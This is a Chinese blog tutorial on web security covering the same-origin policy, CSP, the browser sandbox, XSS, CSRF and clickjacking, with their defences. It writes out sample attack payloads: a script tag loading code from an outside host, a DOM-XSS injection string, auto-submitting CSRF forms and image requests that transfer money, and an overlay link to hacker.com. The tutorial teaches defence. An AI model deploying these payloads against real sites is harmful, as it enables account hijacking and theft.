这是布兰的第 11 篇原创
同源策略(Same Origin Policy)
如果两个 URL
的协议、域名和端口都相同,我们就称这两个 URL
同源。
比如,这个 http://store.company.com/dir/page.html
和下面这些 URL
相比源的结果如下:
http://store.company.com/dir2/other.html // 同源,只有路径不同
http://store.company.com/dir/inner/another.html // 同源,只有路径不同
https://store.company.com/secure.html // 失败,协议不同
http://news.company.com/dir/other.html // 失败,域名不同
http://store.company.com:81/dir/etc.html // 失败,端口不同 ( http:// 默认端口是80)
同源策略的限制
- 限制了来自不同源的
JavaScript
脚本对当前DOM
对象读和写的操作; - 限制了不同源的站点读取当前站点的
Cookie
、IndexDB
、LocalStorage
等数据; - 限制了通过
XMLHttpRequest
等方式将站点的数据发送给不同源的站点。
由于浏览器同源策略的限制使得 Web 项目难以开发和使用,所以为了既保证安全性又能够灵活开发 Web 应用,「从而出现了一些新技术」
- 页面中可以引用第三方资源,不过这也暴露了很多诸如
XSS
的安全问题,因此又在这种开放的基础之上引入了内容安全策略CSP
来限制其自由程度; - 使用
XMLHttpRequest
和Fetch
都是无法直接进行跨域请求的,因此浏览器又在这种严格策略的基础之上引入了跨域资源共享策略CORS
,让其可以安全地进行跨域操作; - 两个不同源的
DOM
是不能相互操纵的,因此浏览器中又实现了跨文档消息机制,让其可以比较安全地通信,可以通过window.postMessage
的JavaScript
接口来和不同源的DOM
进行通信。
内容安全策略(CSP)
内容安全策略(Content Security Policy
)简称 CSP
,通过它可以明确的告诉客户端浏览器当前页面的哪些外部资源可以被加载执行,而哪些又是不可以的。
2 种方式启用 CSP
- 通过
HTTP
头配置Content-Security-Policy
,以下配置说明该页面只允许当前源和https://apis.google.com
这 2 个源的脚本加载和执行:
Content-Security-Policy: script-src 'self' https://apis.google.com
- 通过页面
<meta>
标签配置:
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://apis.google.com">
CSP 的限制
CSP
提供了丰富的限制,「除了能限制脚本的加载和执行,对其他资源也有限制」,比如:
font-src
:字体来源;img-src
:图片来源;style-src
:样式来源;
以上只是列举了一些常见的外部资源的限制,想要查看更多资源限制可以看这里。
默认情况下,这些指令的适用范围很广。如果您不为某条指令(例如,font-src
)设置具体的策略,则默认情况下,该指令在运行时假定您指定 *
作为有效来源(例如,您可以从任意位置加载字体,没有任何限制。
另外你可以通过 default-src
设置资源限制的默认行为,但它只适用于 -src
结尾的所有指令,比如设置了如下的 CSP
规则,则只允许从 https://cdn.example.net
加载脚本、字体、图片、样式等资源:
Content-Security-Policy: default-src https://cdn.example.net
CSP 配置事项
如果要配置多个同一类型的资源限制,需要将它们进行合并:
代码语言:javascript复制Content-Security-Policy: script-src https://host1.com https://host2.com
不同的资源类型之间需要用分号分隔:
代码语言:javascript复制Content-Security-Policy: script-src https://host1.com; img-src https://host2.com
可以通过以下值来灵活配置来源列表:
- 协议:
https:
、data:
; - 主机名:
example.com
、example.com:443
; - 路径名:
example.com/js
; - 通配符:
*://*.example.com:*
。
还可以给来源列表指定关键字,包含如下 4 个关键字,使用关键字需要加上单引号:
'none'
:不执行任何匹配;'self'
:与当前来源(而不是其子域)匹配;'unsafe-inline'
:允许使用内联JavaScript
和CSS
;'unsafe-eval'
:允许使用类似eval
的text-to-JavaScript
机制。
CSP 应用举例
让我们假设一下,您在运行一个银行网站,并希望确保只能加载您自己写入的资源。在此情形下,首先设置一个阻止所有内容的默认政策 (default-src 'none'
),然后在此基础上逐步构建。
假设此银行网站在 https://cdn.mybank.net
上加载所有来自 CDN
的图像、样式和脚本,并通过 XHR
连接到 https://api.mybank.com/
以抽取各种数据。可使用帧,但仅用于网站的本地页面(无第三方来源)。网站上没有 Flash
,也没有字体和 Extra
。我们能够发送的最严格的 CSP
标头为:
Content-Security-Policy: default-src 'none'; script-src https://cdn.mybank.net; style-src https://cdn.mybank.net; img-src https://cdn.mybank.net; connect-src https://api.mybank.com; child-src 'self'
安全沙箱(Sandbox)
我们知道早期的浏览器是单进程架构的,这样当某个标签页挂了之后,将影响到整个浏览器。所以出现了多进程架构,它通过给每个标签页分配一个渲染进程解决了这个问题。
而渲染进程的工作是进行 HTML
、CSS
的解析,JavaScript
的执行等,而这部分内容是直接暴露给用户的,所以也是最容易被黑客利用攻击的地方,如果黑客攻击了这里就有可能获取到渲染进程的权限,进而威胁到操作系统。所以需要一道墙用来把不可信任的代码运行在一定的环境中,限制不可信代码访问隔离区之外的资源,而这道墙就是浏览器的安全沙箱。
多进程的浏览器架构将主要分为两块:浏览器内核和渲染内核。而安全沙箱能限制了渲染进程对操作系统资源的访问和修改,同时渲染进程内部也没有读写操作系统的能力,而这些都是在浏览器内核中一一实现了,包括持久存储、网络访问和用户交互等一系列直接与操作系统交互的功能。浏览器内核和渲染内核各自职责分明,当他们需要进行数据传输的时候会通过 IPC
进行。
浏览器内核和渲染进程各自职责
❝安全沙箱的存在是为了保护客户端操作系统免受黑客攻击,但是阻止不了 XSS 和 CSRF。 ❞
跨站脚本攻击(XSS)
跨站脚本攻击(Cross Site Scripting
)本来缩写是 CSS
,但是为了和层叠样式表(Cascading Style Sheet
)的简写区分开来,所以在安全领域被称为 XSS
。它是指黑客往 HTML
文件中或者 DOM
中注入恶意脚本,从而在用户浏览页面时利用注入的恶意脚本对用户实施攻击的一种手段。
「可以通过 3 种方式注入恶意脚本」
存储型 XSS 攻击
- 首先黑客利用站点漏洞将一段恶意
JavaScript
代码提交到网站的数据库中,比如在表单输入框中输入这样一段内容:
<script src="http://tod.cn/ReFgeasE"></script>
- 然后用户向网站请求包含了恶意
JavaScript
脚本的页面; - 当用户浏览该页面的时候,恶意脚本可以通过
document.cookie获取到页面
Cookie信息,然后通过
XMLHttpRequest将这些信息发送给恶意服务器,恶意服务器拿到用户的
Cookie` 信息之后,就可以在其他电脑上模拟用户的登录,然后进行操作。
反射型 XSS 攻击
恶意 JavaScript
脚本属于用户发送给网站请求中的一部分,随后网站又把恶意 JavaScript
脚本返回给用户。当恶意 JavaScript
脚本在用户页面中被执行时,黑客就可以利用该脚本做一些恶意操作。
基于 DOM 的 XSS 攻击
通常是由于是前端代码不够严谨,把不可信的内容插入到了页面。在使用 .innerHTML
、.outerHTML
、.appendChild
、document.write()
等 API
时要特别小心,不要把不可信的数据作为 HTML 插到页面上,尽量使用 .innerText
、.textContent
、.setAttribute()
等代替。比如对于如下代码:当输入 " onclick=alert('xss')
且点击生成的链接的时候,就会提示 xss
:
<div id="link"></div>
<input type="text" id="text" value="" />
<input type="button" value="按钮" id="button" onclick="test()" />
<script>
function test() {
let text = document.getElementById('text').value
document.getElementById('link').innerHTML = `<a href="${text}">链接</a>`
}
</script>
阻止 XSS 攻击的措施
- 服务器对输入脚本进行过滤或转码,比如:
<script>
转成<script>
后脚本就无法执行了; - 使用
HttpOnly
属性,服务器通过响应头来将某些重要的Cookie
设置为HttpOnly
值,限制了客户端浏览器可以通过document.cookie
获取这些重要的Cookie
信息; - 充分利用
CSP
,可以通过<meta>
来配置CSP
,这也是前端用于防止XSS
的最合适手段。
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
跨站请求伪造(CSRF)
跨站请求伪造(Cross-site request forgery
)简称是 CSRF
:是指黑客引诱用户打开黑客的网站,在黑客的网站中,利用用户的登录状态发起的跨站请求。
CSRF 是怎么攻击的
一个典型的 CSRF
攻击过程应该是这样子的:
- 用户登录 A 网站,并且保留了登录信息(
Cookie
); - 被黑客诱导访问了 B 网站,从 A 跳转到 B;
- B 网站对 A 网站发出请求(这个就是下面将介绍的几种伪造请求的方式),浏览器请求头中会默认携带 A 网站的
Cookie
; - A 网站服务器收到请求后,经过验证发现用户是登录了的,所以会处理请求。
下面将举一个例子来模拟几种伪造请求的方式。假设:
代码语言:javascript复制https://platforma.com/withdraw?account=账户名&money=转账金额`
这是某个资金平台 A 的转账接口,黑客知道这个接口后就可以通过以下方式进行攻击:
「1. 自动发起 GET
请求」
黑客在他自己网站的页面上加载了一张图片,而链接地址是指向那个转账接口。所以需要做的就是,只要某个用户在资金平台 A 上刚登录过,且此时被诱导点击了黑客的页面,一进入这个页面就会自动发起 GET
请求去加载图片,实而是去请求去执行转账接口。
<img src="https://platforma.com/withdraw?account=hacker名&money=1000">
「2. 自动发起 POST
请求」
这类其实就是表单的自动提交。以下是黑客网站上的代码,一旦跳转到黑客指定的页面就会自动提交表单:
代码语言:javascript复制<form action="https://platforma.com/withdraw" method=POST>
<input type="hidden" name="account" value="hacker" />
<input type="hidden" name="money" value="1000" />
</form>
<script> document.forms[0].submit()</script>
「3. 点击链接来触发请求」
这种伪造请求的方式和第一种很像,不过是将请求的接口放到了 <a>
链接上:
<img src="美女图片的链接" />
<a href="https://platforma.com/withdraw?account=hacker名&money=1000">
点击查看更多美女图片
<a/>
如何预防 CSRF 攻击
「1. 给 Cookie 设置合适的 SameSite」
当从 A 网站登录后,会从响应头中返回服务器设置的 Cookie
信息,而如果 Cookie
携带了 SameSite=strict
则表示完全禁用第三方站点请求头携带 Cookie
,比如当从 B 网站请求 A 网站接口的时候,浏览器的请求头将不会携带该 Cookie
。SameSite
还有另外 2 个属性值:
Lax
是默认值,允许第三方站点的GET
请求携带;None
任何情况下都会携带;
以下是一个响应头的 Set-Cookie
示例:
Set-Cookie: flavor=choco; SameSite=strict
「2. 同源检测」
在服务端,通过请求头中携带的 Origin
或者 Referer
属性值进行判断请求是否来源同一站点,同时服务器应该优先检测 Origin
。为了安全考虑,相比于 Referer
,Origin
只包含了域名而不带路径。
「3. CSRF Token」
大概过程是可以分成 2 步骤:
- 在浏览器向服务器发起请求时,服务器生成一个
CSRF Token
。CSRF Token
其实就是服务器生成的随机字符串,然后将该字符串植入到返回的页面中,通常是放到表单的隐藏输入框中,这样能够很好的保护CSRF Token
不被泄漏;
<form action="https://platforma.com/withdraw" method="POST">
<input type="hidden" name="csrf-token" value="nc98P987b">
<input type="text" name="account">
<input type="text" name="money">
<input type="submit">
</form>
- 当浏览器再次发送请求的时候(比如转账),就需要携带这个
CSRF Token
值一并提交; - 服务器验证
CSRF Token
是否一致;从第三方网站发出的请求是无法获取用户页面中的CSRF Token
值的。
点击劫持(ClickJacking)
点击劫持(Clickjacking
)是一种通过视觉欺骗的手段来达到攻击目的手段。往往是攻击者将目标网站通过 iframe
嵌入到自己的网页中,通过 opacity
等手段设置 iframe
为透明的,使得肉眼不可见,这样一来当用户在攻击者的网站中操作的时候,比如点击某个按钮(这个按钮的顶层其实是 iframe
),从而实现目标网站被点击劫持。
「防护手段」即不希望自己网站的页面被嵌入到别人的网站中。
frame busting
如果 A 页面通过 iframe
被嵌入到 B 页面,那么在 A 页面内部window
对象将指向 iframe
,而 top
将指向最顶层的网页这里是 B。所以可以依据这个原理来判断自己的页面是被 iframe
引入而嵌入到别人页面,如果是的话,则通过如下的判断会使得 B 页面将直接替换 A 的内容而显示,从而让用户发觉自己被骗。
if (top.location != window.location) {
top.location = window.location
}
X-Frame-Options
通过给页面响应头里设置 X-Frame-Options
为某个属性值,就能达到控制该页面是否可以通过 iframe
的方式被嵌入到别人的网站中。它有 3 个属性值:
deny
表示该页面不允许嵌入到任何页面,包括同一域名页面也不允许;sameorigin
表示只允许嵌入到同一域名的页面;allow-from uri
表示可以嵌入到指定来源的页面中。
点击劫持中的本质就是通过视觉来欺骗用户,顺着这个思路,还有一个攻击方法也和这个类似,那就是「图片覆盖攻击」大概的原理就是通过样式把图片覆盖在攻击者所希望的任意位置,比如盖在一个网站的 logo
上,当用户点击图片的时候就会被链接到攻击者的站点。
<a src="https://hacker.com">
<img src="图片链接" style="position: absolute; left: 100; top: 100; z-index: 100;"/>
</a>
对于这种攻击方式,预防的手段就是需要用户在提交的 HTML
中检查,<img>
标签是否有可能导致浮出。
参考文章
- 浏览器的工作原理与实践
- Same-origin_policy
- CSP
- 白帽子讲Web安全